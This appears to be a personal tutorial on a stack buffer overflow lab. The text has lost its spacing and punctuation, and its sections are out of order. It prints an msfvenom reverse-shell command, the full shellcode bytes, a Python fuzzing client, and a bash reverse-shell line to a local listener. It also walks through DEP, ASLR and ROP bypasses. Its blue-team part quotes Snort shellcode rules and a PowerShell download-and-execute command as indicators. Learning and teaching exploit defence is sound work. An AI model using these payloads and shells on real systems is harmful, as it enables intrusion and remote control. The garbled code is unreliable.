x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30

x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40

x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50

x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60

x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70

x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80

x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90

x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0

xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0

xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0

xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0

xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0

xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff

Option2-Testsomespecificcommands

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto

thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest

Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution

ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime

issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo

KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor

hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO

commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell

NewPayload

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode

FinalResults

SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere

theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback

toourldquoattackingrdquoterminal(farthestright)

CommonBufferOverflowExampleandMitigations(inC)

WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare

morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated

stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline

orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()

andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe

assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe

registersofacompiledbinaryorreviewingtheoutputfromGHIDRA

gets

Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability

VulnerableCode(SOURCE)

printfexternallink(Inputsomethingnastyhere)

gets(something)

VulnerableCode(ASSEMBLY)

FixedCode

printfexternallink(Inputsomethingnastyhere)

fgets(usernameLENGTHstdin)

strcpy

Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone

contiguoustomemorywherethepayloadisstored

VulnerableCode

charstr1[10]

charstr2[]=badstuffhere

strcpy(str1str2)

FixedCode(SOURCE)

enumBUFFER_LIMIT=1024

intmain()

chardst[BUFFER_LIMIT]

charsrc[]=badstuffhere

intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)

if(buffer_lengthgt=BUFFER_LIMIT)

printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn

buffer_lengthBUFFER_LIMIT-1)

VulnerableCode(ASSEMBLY)

Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows

FixedCode(SOURCE)

enumBUFFER_BOUNDARY_SIZE=1024

charstr1[BUFFER_BOUNDARY_SIZE]

charstr2[]=badstuffhere

strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize

strcat

YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto

thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin

sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied

FixedCode(SOURCE)

defineBUFFER_BOUNDARY_SIZE1024

charbuff[BUFFER_BOUNDARY_SIZE]

Usesecurestrncpythenuse

strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)

buff[BUFFER_BOUNDARY_SIZE-1]=0

strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)

strcmp

ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach

otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot

validatethesizeoftheinputagainstthepredefinedbuffer

OtherMitigationstoBufferOverflows

During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable

ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the

following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits

need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my

own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the

newcomertodiptheirtoesintothesubjects

Canary

A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions

prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary

ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps

detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly

overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith

https0x00secorgtexploit-mitigation-techniques-stack-canaries5085

httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained

httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf

DEP-DataExecutionProtection

DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware

executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as

non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns

For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag

of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other

linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow

security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks

forroutineswithanytypeofbuffer

In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get

the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the

bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP

setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may

introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP

httpslwnnetArticles422487

httpslinuxdienetman8execstack

httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in

httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your

httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae

BypassingDEP

Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to

David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view

ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining

So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu

will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you

overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary

arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in

linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable

in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in

the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the

application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of

instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope

somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle

ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot

intendtohavethewordldquoheartrdquodidherdquo

Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your

payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP

gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET

instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps

An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute

ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script

which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it

difficulttocallexecve()orsystem()

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove

found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create

a new executable space or change the flag for existing executable space However finding the memory addresses to these functions

andcallingthemappearstobeadifferentstory

httpsgithubcomJonathanSalwanROPgadget

httpswwwrapid7comresourcesrop-exploit-explained

httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf

httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf

httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains]pdf

ASLR(Addressspacelayoutrandomization)

Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

OkaysothevulnerableTCPserverisloadedintoGDBGDBisadebuggertogiveasaccessintothememoryregistersassemblyetcetcIfyourefamiliarwithwebdevelopmentlikeIwastheconceptofsettingbreakpointsatdifferentmomentsinthecodewasveryfamiliarItseemsintimidatingbutareallygoodcheatsheetishere

GDBCheatSheet

httpswwwcheatographycomfristlecheat-sheetsclosed-source-debugging-with-gdbFromtheterminaltype

run1337

NowitrsquostimetoldquoFuzzrdquoWealreadywentthroughsometheoryandrationalebeforebutitwasnrsquotdescribedinandend-to-endtypeofcontextArefresherhellipldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfyourememberIprovidedsomesimplecommandstoillustratetheexampleForthisapplicationwecandoitcompletelyhandsonpython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]Sowecouldapproachthisacoupleofways

1 Gobackintothereversedengineeredbinariesandtrytodeterminewhatourbuffersizeisthroughthesourcecodeandassembly

2 RuntheprogramthroughthrewGDBandsetbreakpointsandfindops-codethatindicateBUFFERvariablesize3 Writeaniterativefuzzingscripttofindtheoverflowpoint

WritingthefuzzingscriptwasthebestlearningexerciseformeSowersquoregoingtocoverthatherequicklyLetrsquosstartwithgeneratingabunchofdatawiththecommandbelowIrsquomgoingtojustincreasethenumberofAsby10threetimes Examplepython-cprintx41overflowpython-cprintx4110python-cprintx4120python-cprintx4130

AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30

bufferappend(Acounter)counter=counter+200

forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)

ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)

MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize

DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100

MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger

print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes

forstringinMESSAGE

defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw

print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)

sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver

HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos

ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters

